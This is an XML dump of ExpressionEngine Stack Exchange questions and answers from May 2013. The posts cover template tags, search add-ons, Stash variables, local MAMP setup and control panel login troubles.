  <row Id="10588" PostTypeId="1" CreationDate="2013-05-21T13:56:26.207" Score="4" ViewCount="852" Body="&lt;p&gt;I can not seem to find anything regarding listing what categories were selected in the search query on the results page for Low Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of my code on the search page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                {exp:low_search:form collection=&quot;eat&quot; search_mode=&quot;all&quot; result_page=&quot;eat/sort&quot; require_all=&quot;category&quot;}&#xA;                &amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;                    {exp:channel:categories channel=&quot;eat&quot; style=&quot;linear&quot; category_group=&quot;1&quot;}&#xA;                        &amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;                    {/exp:channel:categories}&#xA;                &amp;lt;/select&amp;gt;&#xA;&#xA;                &amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;                    {exp:channel:categories channel=&quot;eat&quot; style=&quot;linear&quot; category_group=&quot;6&quot;}&#xA;                        &amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;                    {/exp:channel:categories}&#xA;                &amp;lt;/select&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;                {/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;ul id=&quot;things-inner-list&quot;&amp;gt;&#xA;&#xA;               {exp:low_search:results query=&quot;{segment_3}&quot; status=&quot;not closed&quot; limit=&quot;1&quot; paginate=&quot;bottom&quot;}&#xA;                  {if count == 1}&#xA;                    &amp;lt;p&amp;gt;&#xA;                      {if low_search_keywords}Searched for &amp;lt;strong&amp;gt;{low_search_keywords}&amp;lt;/strong&amp;gt;.{/if}&#xA;                      Total results: &amp;lt;strong&amp;gt;{absolute_results}&amp;lt;/strong&amp;gt;.&#xA;                    &amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;&#xA;                    &amp;lt;li&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;things-item-left&quot;&amp;gt;&#xA;                            &amp;lt;img src=&quot;{eat_business_image}&quot; /&amp;gt;&#xA;                            &amp;lt;h2&amp;gt; &amp;lt;a href=&quot;{title_permalink='business/bar-and-grill}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                               {excerpt}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;things-item-right&quot;&amp;gt;&#xA;                            &amp;lt;a class=&quot;map-it&quot; href=&quot;{eat_business_map_url}&quot; target=&quot;_blank&quot;&amp;gt;Map it&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;br /&amp;gt;&#xA;                            {eat_business_phone}&#xA;                            &amp;lt;br /&amp;gt;&#xA;                            &amp;lt;a href=&quot;{eat_business_web_url}&quot; target=&quot;_blank&quot;&amp;gt;Website&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;/li&amp;gt;&#xA;&#xA;                  {paginate}&#xA;                    &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;                  {/paginate}&#xA;&#xA;                  {if no_results}&#xA;                    &amp;lt;p&amp;gt;&#xA;                      Sorry, your query did not return any results.&#xA;                    &amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;&#xA;                {/exp:low_search:results}&#xA;&#xA;                &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;I am just looking to list what categories were selected on the search page, but I can't seem to get it and there's nothing in the documentation about it.&#xA;I would also like to be able to have the option have the value selected on the results page, as I have the search form on the results page as well.  Is this possible?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1411" LastActivityDate="2014-04-21T06:45:47.100" Title="Low Search Category Query on Results Page" Tags="|categories|search|low-search|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10589" PostTypeId="2" ParentId="10552" CreationDate="2013-05-21T13:57:23.190" Score="0" Body="&lt;p&gt;Looks like this is a duplicate question. &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9631/assets-in-wygwam-not-displaying-on-front-end-in-ee-2-6-assets-2-1-1-wygwam-2-7-1&quot;&gt;This post&lt;/a&gt; has an answer which worked for me.&lt;/p&gt;&#xA;" OwnerUserId="1528" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-05-21T13:57:23.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10590" PostTypeId="2" ParentId="10585" CreationDate="2013-05-21T14:13:03.800" Score="2" Body="&lt;p&gt;You'll have to use another hook, &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/template/index.html#id1&quot; rel=&quot;nofollow&quot;&gt;template_fetch_template&lt;/a&gt;, and cache the template_id there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function template_fetch_template($row)&#xA;{&#xA;  if ( ! ee()-&amp;gt;session-&amp;gt;cache('your_extension', 'template_id'))&#xA;  {&#xA;    ee()-&amp;gt;session-&amp;gt;set_cache('your_extension', 'template_id', $row['template_id']);&#xA;  }&#xA;}&#xA;&#xA;public function some_other_hook()&#xA;{&#xA;  $template_id = ee()-&amp;gt;session-&amp;gt;cache('your_extension', 'template_id');&#xA;&#xA;  //do stuff here with your template_id&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-05-21T14:13:03.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10591" PostTypeId="2" ParentId="10565" CreationDate="2013-05-21T14:15:38.730" Score="1" Body="&lt;p&gt;This is because EE will execute tags before parsing certain conditionals. You should stick your clear_cart tag into it's own template and embed that template within your conditional. Embeds get executed at the very end, after conditionals are evaluated, so it will only execute if the condition is true.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-05-21T14:15:38.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10592" PostTypeId="2" ParentId="10585" CreationDate="2013-05-21T14:19:34.360" Score="2" Body="&lt;p&gt;I literally just saw this plugin on twitter this morning: &lt;a href=&quot;https://github.com/seandelaney/Template_Info&quot; rel=&quot;nofollow&quot;&gt;Template Info&lt;/a&gt;, which was originally developed by Leevi Graham for EE1, and then Sean ported to EE2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add one or all of the following tags to your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:template_info attribute=&quot;template_id&quot;}&#xA;{exp:template_info attribute=&quot;template_name&quot;}&#xA;{exp:template_info attribute=&quot;template_group_id&quot;}&#xA;{exp:template_info attribute=&quot;template_group_name&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-05-21T14:19:34.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10593" PostTypeId="1" AcceptedAnswerId="10691" CreationDate="2013-05-21T14:21:50.497" Score="0" ViewCount="390" Body="&lt;p&gt;I'd like to send customers an email with a link to their (private) profile/account page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link should contain login credits so they can click to go to their profile page and log in at the same time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add login info to a url?&lt;/p&gt;&#xA;" OwnerUserId="426" LastEditorUserId="426" LastEditDate="2013-05-22T10:44:25.893" LastActivityDate="2013-05-24T02:44:26.430" Title="Auto login via email / newsletter" Tags="|members|email|login|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10594" PostTypeId="2" ParentId="10586" CreationDate="2013-05-21T14:31:29.637" Score="0" Body="&lt;p&gt;I looks like you're using both the field tags and module tags for &lt;code&gt;cf_video_related_products&lt;/code&gt; playa field.&lt;/p&gt;&#xA;&lt;p&gt;Try removing the field tag and add the &lt;code&gt;entry_id=&amp;quot;{entry_id}&amp;quot;&lt;/code&gt; parameter to each of the &lt;code&gt;exp:playa:children&lt;/code&gt; module tags. Typically the module tags defaults to the current entry's ID if within the &lt;code&gt;exp:channel:entries&lt;/code&gt; tag pair, but that might thrown off because of the nested ratings and entries call.&lt;/p&gt;&#xA;&lt;p&gt;If that doesn't work, you could always use an embed:&lt;/p&gt;&#xA;&lt;h3&gt;Parent Template:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:entries&#xA;    collection=&amp;quot;Video Reviews&amp;quot;&#xA;    orderby=&amp;quot;rating_date&amp;quot;&#xA;    sort=&amp;quot;desc&amp;quot;&#xA;    limit=&amp;quot;1&amp;quot;&#xA;    dynamic=&amp;quot;no&amp;quot;&#xA;}&#xA;    &#xA;    {embed=&amp;quot;tmpl_group/tmpl_name&amp;quot; entry_id=&amp;quot;{entry_id}&amp;quot;}&#xA;&#xA;{/exp:rating:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Child Template:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&amp;quot;entry_video&amp;quot; orderby=&amp;quot;date&amp;quot; limit=&amp;quot;1&amp;quot; dynamic=&amp;quot;off&amp;quot; entry_id=&amp;quot;{embed:entry_id}&amp;quot;}&#xA;&#xA;    {title}&#xA;&#xA;   {exp:playa:children field=&amp;quot;cf_video_related_products&amp;quot; entry_id=&amp;quot;{entry_id}&amp;quot; limit=&amp;quot;1&amp;quot; var_prefix=&amp;quot;product&amp;quot;}&#xA;        {product:title}&#xA;    {/exp:playa:children}&#xA;&#xA;    {exp:playa:children field=&amp;quot;cf_video_related_video&amp;quot; entry_id=&amp;quot;{entry_id}&amp;quot; limit=&amp;quot;1&amp;quot; var_prefix=&amp;quot;video&amp;quot;}&#xA;        {video:title}&#xA;    {/exp:playa:children}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-05-21T14:31:29.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10595" PostTypeId="1" AcceptedAnswerId="10624" CreationDate="2013-05-21T14:32:16.987" Score="0" ViewCount="123" Body="&lt;p&gt;Is there any difference in processing/speed in using Stash exp:stash:set with output=yes vs. using Stash to set and then outputting via exp:stash:get? For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OPTION 1:&#xA;{exp:stash:set name=&quot;client_age&quot; &#xA;    save=&quot;yes&quot;&#xA;    output=&quot;yes&quot;&#xA;    refresh=&quot;no&quot;&#xA;    trim=&quot;yes&quot; &#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_conditionals=&quot;yes&quot; &#xA;    parse_depth=&quot;2&quot;&#xA;    scope=&quot;user&quot;&#xA;}&#xA;    {exp:channel:entries channel=&quot;.....}&#xA;        {PLUGIN}{content}{/PLUGIN}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;VERSUS OPTION 2:&#xA;{exp:stash:set name=&quot;client_age&quot; &#xA;    save=&quot;yes&quot;&#xA;    refresh=&quot;no&quot;&#xA;    trim=&quot;yes&quot; &#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_conditionals=&quot;yes&quot; &#xA;    parse_depth=&quot;2&quot;&#xA;    scope=&quot;user&quot;&#xA;}&#xA;    {exp:channel:entries channel=&quot;.....}&#xA;        {PLUGIN}{content}{/PLUGIN}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:get name=&quot;client_age&quot; scope=&quot;user&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-05-22T09:41:56.627" Title="Stash output=yes vs get" Tags="|stash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10596" PostTypeId="2" ParentId="10588" CreationDate="2013-05-21T14:32:27.720" Score="1" Body="&lt;p&gt;You can use the variable &lt;code&gt;{low_search_category}&lt;/code&gt; in your Form, Filters and Results tags, as long as you feed it the &lt;code&gt;query=&quot;&quot;&lt;/code&gt; parameter (when encoding the URI). This will output a pipe-separated list of category IDs that were selected in the search form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &quot;remember&quot; which categories were selected in your Form tag, add the &lt;code&gt;query=&quot;&quot;&lt;/code&gt; parameter to it, and then use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag-conditionals&quot; rel=&quot;nofollow&quot;&gt;Special Conditionals&lt;/a&gt; to add the &lt;code&gt;selected&lt;/code&gt; attribute to the &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option value=&quot;{category_id}&quot;{if category_id IN ({low_search_category}) selected=&quot;selected&quot;{/if}&amp;gt;&#xA;    {category_name}&#xA;&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To show a list of selected categories elsewhere on the page, you're probably best off using the Filters or Results tag with a &lt;code&gt;{exp:channel:categories}&lt;/code&gt; tag to output the category names.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{low_search_category}' != ''}&#xA;    You selected these categories:&#xA;    {exp:channel:categories show=&quot;{low_search_category}&quot; channel=&quot;eat&quot; style=&quot;linear&quot;}&#xA;        {category_name}&#xA;    {/exp:channel:categories}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-05-21T15:09:31.410" LastActivityDate="2013-05-21T15:09:31.410" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="10597" PostTypeId="1" AcceptedAnswerId="10599" CreationDate="2013-05-21T15:00:49.427" Score="1" ViewCount="2212" Body="&lt;p&gt;I've started work on a site that's already live so I've.. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Copied all the files to my local machine and imported the .sql file into MAMP &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjusted the 'URL to the root directory of your site' under the 'General Configuration'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjusted the 'URL to your &quot;themes&quot; folder' under the 'General Configuration'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjusted the 'Theme Folder Path' under the 'General Configuration'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjusted the 'Basepath to Template File Directory' under 'Global Template Preferences'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Updated the following paths in database.php&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Like so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db['expressionengine']['hostname'] = 'localhost';&#xA;$db['expressionengine']['username'] = 'root';&#xA;$db['expressionengine']['password'] = 'root';&#xA;$db['expressionengine']['database'] = 'clients_site';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The home page (localhost/) loads fine with the correct CSS and Images and the Control Panel (localhost/admin.php) loads fine but when I go to any internal pages (localhost/about/) I get a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I've missed out?&lt;/p&gt;&#xA;" OwnerUserId="853" LastActivityDate="2013-05-21T15:56:01.580" Title="Internal pages not showing up locally on MAMP" Tags="|localhost|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10598" PostTypeId="1" AcceptedAnswerId="10600" CreationDate="2013-05-21T15:07:32.603" Score="0" ViewCount="210" Body="&lt;p&gt;I am trying to get the current entry's category so I can make a comparison inside a menu elsewhere to see if the menu item is for the current page. I have the following code at the top of my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {categories limit=&quot;1&quot;}&#xA;        {preload_replace:current_category=&quot;{category_id}&quot;}  &#xA;        {current_category}                      &#xA;    {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives an output of &lt;code&gt;56&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I move &lt;code&gt;{current_category}&lt;/code&gt; out of the pair so I can use it elsewhere, it does not evaluate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {categories limit=&quot;1&quot;}&#xA;        {preload_replace:current_category=&quot;{category_id}&quot;}  &#xA;    {/categories}&#xA;{/exp:channel:entries}&#xA;{current_category}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gives an output of &lt;code&gt;{category_id}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the replace variable to save the evaluated category_id inside of the pair so I can use it elsewhere? Or, is there a better way to be doing this?&lt;/p&gt;&#xA;" OwnerUserId="1518" LastActivityDate="2013-05-21T18:11:05.953" Title="Preload replace not evaluating variable outside of pair" Tags="|channel-entries|categories|variable|preload-replace|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10599" PostTypeId="2" ParentId="10597" CreationDate="2013-05-21T15:23:34.120" Score="3" Body="&lt;p&gt;You should try localhost/index.php/about. If you want index.php removed, refer to the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are able to get to admin and it load fine, your db is just fine. ExpressionEngine needs the index.php file to run properly, unless you hide it via the .htaccess.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2013-05-21T15:23:34.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10600" PostTypeId="2" ParentId="10598" CreationDate="2013-05-21T15:29:30.823" Score="2" Body="&lt;p&gt;There's a better way, though I'm not sure what where you're trying to insert the entry's category_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;, you'll be glad you did.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;  {exp:stash:set name=&quot;category_id&quot;}&#xA;    {categories limit=&quot;1&quot;}&#xA;      {category_id}                  &#xA;    {/categories}&#xA;  {/exp:stash:set}&#xA;{/exp:channel:entries} &#xA;&#xA;&amp;lt;!-- Then get it after entries loop --&amp;gt;&#xA;{exp:stash:get name=&quot;category_id&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-21T15:29:30.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10601" PostTypeId="1" CreationDate="2013-05-21T15:32:42.273" Score="1" ViewCount="377" Body="&lt;p&gt;EE v2.5.5&lt;br&gt;&#xA;Google Maps Addon v3.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently building a site that shows companies on a map. A requirement is to display custom POI icons per each entry's category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the exp:gmap:marker tag pair sets the POI icon via the &quot;icon&quot; parameter, I don't have any way to pass in the entry category data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a different or better way to render these POIs that gives me custom icon abilities?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using exp:gmap:results because the results page is displayed as a response to an address/location search with search radius specified.&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2013-10-13T21:58:02.037" Title="Custom marker icons (by category) for Google Maps for EE" Tags="|google-maps-for-ee|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10602" PostTypeId="1" AcceptedAnswerId="10626" CreationDate="2013-05-21T15:39:33.837" Score="3" ViewCount="835" Body="&lt;p&gt;Edit: &lt;em&gt;Question Clarification:&lt;/em&gt; Amongst other things, &lt;strong&gt;what do people believe to be the ideal PHP 'Handler' for EE?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've decided to take the plunge and get another VPS for some of our production sites. Our current server is running suPHP so we can't install APC (according to the host).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, for performance, how should we ask them to set up our server? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will keep our old server for development, so we don't want it to be massively different, and they are suggesting FastCGI so that they can install APC, but is FastCGI good/bad/bad for EE? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also will be running a couple of Laravel3 and 4 on the new server, so if there are any additional recommendations, please tell me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish I wasn't such a sysadmin noob, but after Tim Mahoney's talk at EEUK, we want to make sure we get the server set up right from its beginnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="192" LastEditDate="2013-05-22T13:26:26.777" LastActivityDate="2013-05-22T13:26:26.777" Title="Ideal server setup for EE (PHP Handler, Opcode Cache)" Tags="|server|apache|hosting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10603" PostTypeId="2" ParentId="10593" CreationDate="2013-05-21T15:43:59.893" Score="0" Body="&lt;p&gt;In the admin, if you go to the page of the user (members -&gt; view all -&gt; [select desired user]) You can copy the url of that page and send that to them. This allows them to log in and go directly to their account page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as automatically logging them in, that is dangerous and would be a big security concern. You should never automatically log someone in via and email link. But if you are willing to try you need to enable html in your emails (not all clients support it) and you would have to make hidden inputs to tie directly to your cp. (please do not do that though)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I do not believe that you can tie a form directly to the login of EE. There are session keys for the form that are for authentication to check that you are in a browser and on that specific page.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2013-05-21T15:43:59.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10604" PostTypeId="1" AcceptedAnswerId="10657" CreationDate="2013-05-21T15:46:00.537" Score="1" ViewCount="8526" Body="&lt;p&gt;The problem I'm having is that I can't log in to the control panel. When I enter my login details, the page just refreshes. No error message, just a page reload. It does this repeatedly, so can't get in at all at the moment. This happened after upgrading from 2.5.5 to 2.6.1, but also happens on a fresh install of 2.6.1, so I don't think it's down to my particular installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been getting this error intermittently on EE 2.5.5. Today I upgraded to 2.6.1, which meant I couldn’t login 100% of the time, so I’ve rolled back to 2.5.5 for the time being until this is fixed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Version: 2.6.1&#xA;Browsers tried: Chrome, Firefox, Safari, all most recent versions&#xA;Development Environment: localhost apache 2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I've tried changing the session &amp;amp; cache variables, clearing the cache, running in incognito mode... No idea what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update - Top of my config file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['app_version'] = &quot;261&quot;;&#xA;$config['install_lock'] = &quot;&quot;;&#xA;$config['license_number'] = '';&#xA;$config['debug'] = &quot;0&quot;;&#xA;$config['cp_url'] = 'http://local.sitename.com/admin.php';&#xA;$config['doc_url'] = &quot;http://ellislab.com/expressionengine/user-guide/&quot;;&#xA;$config['is_system_on'] = &quot;y&quot;;&#xA;$config['allow_extensions'] = 'y';&#xA;$config['site_label'] = '****';&#xA;$config['cookie_prefix'] = 'sitename';&#xA;$config['cookie_domain'] = '';&#xA;$config['cookie_path'] = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using an NSM config bootstrap file though, let me know if any of those settings could be breaking it too...&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditDate="2013-05-22T20:29:11.527" LastActivityDate="2016-04-18T20:10:08.703" Title="Can’t log in, page just refreshes" Tags="|control-panel|login|" AnswerCount="5" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10605" PostTypeId="2" ParentId="10597" CreationDate="2013-05-21T15:56:01.580" Score="0" Body="&lt;p&gt;Check for an .htaccess file in the root folder online and stick it in your local root.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-05-21T15:56:01.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10606" PostTypeId="1" CreationDate="2013-05-21T16:03:38.080" Score="0" ViewCount="167" Body="&lt;p&gt;Please refer to the table at &lt;a href=&quot;http://www.tomsofmaine.com/research/ingredients&quot; rel=&quot;nofollow&quot;&gt;http://www.tomsofmaine.com/research/ingredients&lt;/a&gt; for reference. I currently have a Matrix field setup to add new ingredients and generate a table and it works beautifully. Now the client wants a letter label separating each alphabetical section. I can't think of an easy way to do this so it's easy to update for the client. I don't think I can use Matrix anymore, and the only other option I can think of is to build the entire form in Wygwam, but that would make it very tough for the client to update. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-05-21T16:11:46.913" Title="How can I setup a table with ingredients in alphabetical order with a letter label and make it easy for client to update?" Tags="|matrix|wygwam|table|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10607" PostTypeId="2" ParentId="10606" CreationDate="2013-05-21T16:11:46.913" Score="2" Body="&lt;p&gt;You could do this by creating each ingredient as an entry then building the table using an exp:entries tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use Low Alphabet (&lt;a href=&quot;http://gotolow.com/addons/low-alphabet&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-alphabet&lt;/a&gt;) add on to create the alphabetic sorting links required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you didn't wish to pay for the add on then you could get the data out using a custom database query or number of queries to get the ingredients into groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating the ingredients as entries rather than rows of a matrix will also mean that you can make the whole thing more easily searchable should you wish to.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-21T16:11:46.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10608" PostTypeId="2" ParentId="10604" CreationDate="2013-05-21T17:49:50.540" Score="1" Body="&lt;p&gt;Try deleting all your domain and session cookies.  This happens to me from time to time when I have logged in to numerous different EE sites in the same browser.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-05-21T17:49:50.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10609" PostTypeId="1" AcceptedAnswerId="10610" CreationDate="2013-05-21T17:51:07.753" Score="0" ViewCount="62" Body="&lt;p&gt;I am using this tag pair for a website form. Two issues I have:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How do I make certain fields required without using CSS3 or jQuery. Does EE have a native way of doing this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do I get validation to work on iOS?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any better third party form add ons that someone can recommend?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-05-21T18:03:34.800" Title="Simple Search Form Tag" Tags="|simple-search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10610" PostTypeId="2" ParentId="10609" CreationDate="2013-05-21T18:03:34.800" Score="2" Body="&lt;p&gt;To my knowledge, you can't make fields required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more popular search add-ons are &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; and &lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;Solspace Super Search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these add-ons have validation built in, as well as obviously many other features you won't find on the native EE search form.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-05-21T18:03:34.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
